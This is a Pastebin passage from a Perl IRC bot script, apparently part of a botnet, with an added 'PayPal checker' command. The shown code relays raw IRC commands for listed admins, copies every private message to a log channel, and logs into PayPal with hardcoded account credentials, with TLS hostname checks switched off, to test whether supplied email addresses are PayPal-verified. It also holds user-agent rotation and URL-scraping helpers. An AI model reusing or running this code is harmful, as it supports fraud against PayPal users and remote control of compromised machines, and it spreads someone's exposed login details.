  625. if(&ctrl_admin(\%msg) == 0){
  626. &respond_to_privmsg(\%msg,"15,1[4RAW15]12 SENDING IRC RAW REQUESTED");
  627. $irc_socket->write($raw."\r\n");
  628. }
  629. }
  630. #############################@@@@======ADDED payPaL Chk!=====@@@@###########################
  631. #############################CONTACT ME : s4l1ty@hotmail.com################################
  632. ############################################################################################
  633. if($msg{'what'} =~ /^$ppcmd (.*)/)
  634.  
  635. {
  636. my ($ppchek) = ($1);
  637. chop($ppchek);
  638. &respond_to_privmsg(\%msg,"14,1[12 PAYPAL 14,1]00,1 CHECKiNG...00,1 -9,1${ppchek}00,1-\r\n");
  639. my $cookie = HTTP::Cookies->new(file => 'cookie',autosave => 1,);
  640. my $agent = WWW::Mechanize->new(cookie_jar => $cookie, autocheck => 0, ssl_opts => {verify_hostname => 0},);
  641. $agent->env_proxy();
  642. $agent->get('https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-run');
  643. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  644. $agent->form_number(3);
  645. { local $^W; $agent->current_form->value('login_email', 'moviemax@live.it'); };
  646. { local $^W; $agent->current_form->value('login_password', 'napster23'); };
  647. $agent->submit();
  648. my $internal=$agent->content;
  649. if ($internal =~/Please make sure you enter your/){
  650. &respond_to_privmsg(\%msg,"15,1[12,01 PAYPAL 15]04 Wait...Something Wrong,please contact 09s4l1ty\r\n");
  651. $irc_socket->write("PRIVMSG s4l1ty :15,1[12,01 PAYPAL 15]04 check login username/password !\r\n");
  652. }
  653. elsif ($internal =~/Please take a moment to choose and answer 2 security questions./){
  654. &respond_to_privmsg(\%msg,"15,1[12,01 PAYPAL 15]04 Wait...Something Wrong,please contact 09s4l1ty\r\n");
  655. $irc_socket->write("PRIVMSG s4l1ty :15,1[12,01 PAYPAL 15]04 check account security question !\r\n");
  656. }
  657. else {
  658. print "Logging you in securely \r\n";
  659. $agent->follow_link( url_regex => qr/login_access/i );
  660. $agent->get('https://www.paypal.com/us/verified/pal='.$ppchek.'');
  661. my $resp=$agent->content;
  662. if ($resp =~/is PayPal Verified/){
  663. &respond_to_privmsg(\%msg,"14,01[15 ResuLT 14] 14,1-00,1${ppchek}14,1- 14,1[9VERIFIED14,1]\r\n");
  664. }
  665.  
  666. elsif ($resp =~/is NOT PayPal Verified/){
  667. &respond_to_privmsg(\%msg,"14,01[15 ResuLT 14] 14,1-00,1${ppchek}14,1- 14,1[4,1UNVERIFIED14,1]\r\n");
  668. }
  669.  
  670. elsif ($resp =~/Your access to view member information is currently limited/){
  671. &respond_to_privmsg(\%msg,"14,01[15 ResuLT 14] 04 check account access limit !\r\n");
  672. print "Your access to view member information is currently limited. Please try back at another time.\r\n";
  673. }
  674.  
  675.  
  676. }
  677. }
  678. }
  679. }
  680. #####################################################################################
  681. sub ctrl_admin()
  682. {
  683. my $data = $_[0];
  684. foreach my $admin ( @admin )
  685. {
  686. if($admin eq $data->{'from'})
  687. {
  688. return(0);
  689. }
  690. }
  691. &respond_to_privmsg($data,"15[4BLOCK15]1 YOU ARE NOT ADMIN");
  692. return(-1);
  693. }
  694. #####################################################################################
  695. sub ctrl_dumps()
  696. {
  697. my $data = $_[0];
  698. foreach my $admin ( @Methaport )
  699. {
  700. if($admin eq $data->{'from'})
  701. {
  702. return(0);
  703. }
  704. }
  705. &respond_to_privmsg($data,"15,01[4BLOCK15,01]0 You are 04NOT0,01 Allowed to use this function.!");
  706. return(-1);
  707. }
  708. #####################################################################################
  709. sub respond_to_privmsg()
  710. {
  711. my ($data,$m) = ($_[0],$_[1]);
  712. if($data->{'to'} =~ /#/)
  713. {
  714. &privmsg($data->{'to'},$m);
  715. }
  716. return(0);
  717. }
  718. #####################################################################################
  719. sub privmsg()
  720. {
  721. my($nick,$send) = @_;
  722. $irc_socket ->write("PRIVMSG ".$nick." :".$send."\r\n");
  723. }
  724. #####################################################################################
  725. sub get_msg()
  726. {
  727. my $line = $_[0];
  728. my %data;
  729. if($line =~ /:(.*?)!(.*?) PRIVMSG(.*?) :(.*)/)
  730. {
  731. $irc_socket->write("PRIVMSG #log :$1 $3 msg=>> $4 \r\n");
  732. $data{'from'} = $1;
  733. $data{'to'} = $3;
  734. $data{'what'} = $4;
  735. }
  736. return(%data);
  737. }
  738. #####################################################################################
  739.  
  740. sub http_request()
  741. {
  742. my($site,$request,$ua,$resp,$cnt);
  743. $site = $_[0];
  744. $site =~ s/[\r\n]//g;
  745. $request = HTTP::Request->new(GET => $site);
  746. $ua = LWP::UserAgent->new(agent => $user_agents[rand(scalar(@user_agents))]);
  747. $ua->timeout($timeout);
  748. $resp = $ua->request($request);
  749. $cnt = $resp->content();
  750. return($cnt);
  751. }
  752. #####################################################################################
  753. sub get_user_agents()
  754. {
  755. my @us_ag = (
  756. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511",
  757. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1",
  758. "Opera/8.5 (X11; Linux i686; U; cs)",
  759. "Links (2.1pre17; Linux 2.6.11-gentoo-r8 i686; 80x24)"
  760. );
  761. return(@us_ag);
  762. }
  763. #####################################################################################
  764. sub get_all_host()
  765. {
  766. my $site = $_[0];
  767. my @dirs = ();
  768. my @ret = ();
  769. my $tmp = "";
  770. $site =~ s/http:\/\///g;
  771. $site =~ s/[\r\n]//g;
  772. $site =~ s/\/\///g;
  773. if($site !~ /\/$/)
  774. {
  775. $site .= "/";
  776. }
  777.  
  778. @dirs = split(/\//,$site);
  779. $tmp = $dirs[0] . "/";
  780. push(@ret,$tmp);
  781.  
  782. for($i = 1; $i < scalar(@dirs); $i++)
  783. {
  784. $tmp .= $dirs[$i] . "/";
  785. push(@ret,$tmp);
  786. }
  787.  
  788. return(@ret);
  789. }
  790. #####################################################################################
  791. sub urlencode()
  792. {
  793. my $str = $_[0];
  794. $str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
  795. return $str;
  796. }
  797. #####################################################################################
  798. sub unique()
  799. {
  800. my @unici = ();
  801. my %visti = ();
  802. foreach my $elemento (@_) {
  803. $elemento =~ s/\/+/\//g;
  804. next if $visti{$elemento}++;
  805. push @unici, $elemento;
  806. }
  807. return @unici;
  808. }
  809. #####################################################################################
  810. sub changecmd()
  811. {
  812. my $n = $_[0];
  813. push(@botcmd,$n);
  814. }
  815. #####################################################################################
  816. sub get_content() {
  817. my $url = $_[0];
  818. my $ua = LWP::UserAgent->new(agent => $uagent);
  819. $ua->timeout(10);
  820. my $req = HTTP::Request->new(GET => $url);
  821. my $res = $ua->request($req);
  822. return $res->content;
  823. }
  824. #####################################################################################
  825. sub read_all_file_array()
  826. {
  827. my $file = $_[0];
  828. my @ret = ();
  829.  
  830. open(FILE,'<',$file);
  831. while($a = <FILE>)
  832. {
  833. $a =~ s/[\r\n]//g;
  834. push(@ret,$a);
  835. }
  836. close(FILE);
  837.  
  838. return(@ret);
  839. }
  840. #####################################################################################
  841. sub write_to_file_array()
  842. {
  843. my ($file,$data,$scal) = @_;
  844. for($i = 0; $i < $scal; $i++)
  845. {
  846. &AddLog($file,$data->[$i]);
  847. }
  848. }
  849. #####################################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!